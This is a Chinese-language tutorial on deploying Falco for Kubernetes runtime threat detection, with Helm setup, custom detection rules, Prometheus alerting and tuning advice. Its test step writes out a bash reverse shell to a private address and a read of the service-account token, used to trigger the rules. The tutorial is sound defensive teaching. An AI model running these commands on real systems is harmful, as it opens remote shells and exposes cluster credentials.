Falco 实战：Kubernetes 运行时安全威胁检测与响应

痛点

容器安全扫描（如 Trivy）解决了镜像构建阶段的漏洞发现，但运行时阶段的异常行为——容器内反弹 Shell、敏感文件读取、异常网络外连——传统工具几乎无能为力。Kubernetes 集群一旦被攻破，从横向移动到数据外泄，整个链路可能在几分钟内完成，而你的告警系统可能毫无感知。

Falco 是 CNCF 毕业项目，基于 eBPF/kernel module 在内核层实时捕获系统调用，用规则引擎检测运行时威胁，填补了从「镜像安全」到「运行时安全」的最后一块拼图。

方案

Falco 的核心架构：

┌─────────────────────────────────────────────┐
│  Kernel (eBPF probe / kmod)                 │
│  捕获 syscall: open, execve, connect, etc.  │
└──────────────────┬──────────────────────────┘
                   │ 事件流
┌──────────────────▼──────────────────────────┐
│  Falco Engine (用户态)                       │
│  规则匹配 → 生成告警                         │
└──────────────────┬──────────────────────────┘
                   │ 输出
        ┌──────────┼──────────┐
        ▼          ▼          ▼
    stdout    Falcosidekick   文件/Syslog
              (告警路由)
              ├─ Slack
              ├─ PagerDuty
              ├─ Prometheus
              └─ Kubernetes Response Engine

核心优势： - 内核级可见性：基于 eBPF，零侵入捕获所有 syscall，容器内任何异常行为无所遁形 - 低开销：生产环境 CPU 开销通常 < 1%，远低于传统 HIDS - 规则即代码：YAML 格式规则，可纳入 GitOps 管理

实操步骤

Step 1：Helm 部署 Falco + Falcosidekick

# 添加 Helm repo
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

# 创建 namespace
kubectl create namespace falco

# 部署 Falco（使用 eBPF 探针，避免加载内核模块）
helm install falco falcosecurity/falco \
  --namespace falco \
  --set driver.kind=ebpf \
  --set falcosidekick.enabled=true \
  --set falcosidekick.config.slack.webhookurl="https://hooks.slack.com/services/YOUR/WEBHOOK/URL" \
  --set metrics.enabled=true \
  --set metrics.service.annotations."prometheus\.io/scrape"="true"

验证部署状态：

kubectl -n falco get pods
# NAME                                READY   STATUS    RESTARTS   AGE
# falco-xxxxx                         2/2     Running   0          60s
# falco-falcosidekick-xxxxx           1/1     Running   0          60s

# 查看 Falco 日志确认规则加载
kubectl -n falco logs -l app.kubernetes.io/name=falco -c falco | head -20

Step 2：编写自定义规则检测高危行为

Falco 内置 ~100 条规则覆盖常见威胁，但生产环境建议按业务定制。创建 custom-rules.yaml：

# custom-rules.yaml
customRules:
  custom-rules.yaml: |-
    # 检测容器内反弹 Shell
    - rule: Reverse Shell in Container
      desc: Detect reverse shell connections from containers
      condition: >
        evt.type=connect and
        container and
        fd.typechar='4' and
        fd.ip != "0.0.0.0" and
        proc.name in (bash, sh, dash, zsh) and
        not k8s.ns.name in (kube-system, falco)
      output: >
        Reverse shell detected
        (container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
         process=%proc.name connection=%fd.name user=%user.name)
      priority: CRITICAL
      tags: [network, mitre_execution]

    # 检测读取 ServiceAccount Token
    - rule: Read ServiceAccount Token
      desc: Detect process reading K8s service account token
      condition: >
        open_read and
        container and
        fd.name startswith /var/run/secrets/kubernetes.io/ and
        not proc.name in (kube-proxy, kubelet, coredns)
      output: >
        ServiceAccount token read
        (container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
         process=%proc.name file=%fd.name)
      priority: WARNING
      tags: [filesystem, mitre_credential_access]

    # 检测容器内安装软件包（供应链攻击信号）
    - rule: Package Manager in Container
      desc: Detect package manager execution in running container
      condition: >
        spawned_process and
        container and
        proc.name in (apt, apt-get, yum, dnf, apk, pip, npm) and
        not k8s.ns.name in (kube-system)
      output: >
        Package manager executed in container
        (container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
         command=%proc.cmdline)
      priority: WARNING
      tags: [process, mitre_persistence]

通过 Helm values 加载自定义规则：

helm upgrade falco falcosecurity/falco \
  --namespace falco \
  --reuse-values \
  -f custom-rules.yaml

Step 3：验证检测能力

创建一个测试 Pod 模拟攻击行为：

# 启动测试容器
kubectl run attacker --image=alpine --restart=Never -- sleep 3600

# 模拟反弹 Shell（触发告警，不会真正连接）
kubectl exec attacker -- sh -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 || true"

# 模拟读取 ServiceAccount Token
kubectl exec attacker -- cat /var/run/secrets/kubernetes.io/serviceaccount/token

# 模拟安装软件包
kubectl exec attacker -- apk add curl

查看 Falco 告警输出：

kubectl -n falco logs -l app.kubernetes.io/name=falco -c falco --tail=20 | grep -E "CRITICAL|WARNING"

预期输出：

2026-06-21T06:00:00.000Z: Critical Reverse shell detected (container=attacker pod=attacker ns=default process=sh connection=10.0.0.1:4444 user=root)
2026-06-21T06:00:01.000Z: Warning ServiceAccount token read (container=attacker pod=attacker ns=default process=cat file=/var/run/secrets/kubernetes.io/serviceaccount/token)
2026-06-21T06:00:02.000Z: Warning Package manager executed in container (container=attacker pod=attacker ns=default command=apk add curl)

Step 4：Prometheus + Grafana 监控 Falco 告警趋势

Falco 暴露 Prometheus metrics，关键指标：

# Prometheus 告警规则
groups:
  - name: falco
    rules:
      - alert: FalcoCriticalAlert
        expr: rate(falco_events{priority="Critical"}[5m]) > 0
        for: 0m
        labels:
          severity: critical
        annotations:
          summary: "Falco 检测到高危运行时威胁"
          description: "集群中检测到 Critical 级别安全事件，需立即排查"

      - alert: FalcoHighAlertRate
        expr: rate(falco_events[5m]) > 10
        for: 5m
        labels:
          severity: warning
        annotations:
          summary: "Falco 告警频率异常升高"

清理测试资源：

kubectl delete pod attacker

避坑指南

1. eBPF 探针 vs 内核模块选择

eBPF 探针需要内核 ≥ 5.8 且开启 BTF（ls /sys/kernel/btf/vmlinux）。EKS/GKE 最新 AMI 默认满足。如果内核不支持，回退到 driver.kind=module，但需要节点上有对应的 kernel headers。

# 检查节点是否支持 eBPF
kubectl -n falco exec -it $(kubectl -n falco get pod -l app.kubernetes.io/name=falco -o name | head -1) -c falco -- falco --version

2. 规则噪音过滤

默认规则在生产环境会产生大量 Notice 级别告警（如 Terminal shell in container）。建议： - 初期只启用 WARNING 及以上级别 - 用 exceptions 字段排除已知安全的进程和 namespace - 定期 review 告警，逐步收紧规则

# 在 Helm values 中过滤低优先级
falco:
  rules_file:
    - /etc/falco/falco_rules.yaml
    - /etc/falco/rules.d
  priority: WARNING  # 只输出 WARNING 及以上

3. 性能影响评估

Falco 的 eBPF 探针在高 syscall 频率场景（如数据库节点、高并发 Web 服务器）可能引入 1-3% CPU 开销。建议： - 通过 nodeSelector 排除数据库专用节点 - 使用 falco.load_plugins 只加载需要的数据源 - 监控 falco_kernel_drops_total 指标，若事件丢弃率 > 0.1%，需要扩容 buffer

总结

维度	说明
定位	运行时威胁检测，补齐镜像扫描之后的安全盲区
部署成本	Helm 一键部署，DaemonSet 模式，5 分钟上线
性能开销	eBPF 模式 < 1-3% CPU，生产可接受
告警集成	Falcosidekick 支持 50+ 输出目标
维护成本	规则即代码，GitOps 管理，社区规则持续更新

Falco 解决了 Kubernetes 安全体系中「运行时可见性」的核心问题。配合 Trivy（镜像扫描）+ OPA/Kyverno（准入控制）+ Falco（运行时检测），构成完整的容器安全三道防线。建议从非生产集群开始试用，调优规则后推广到生产环境。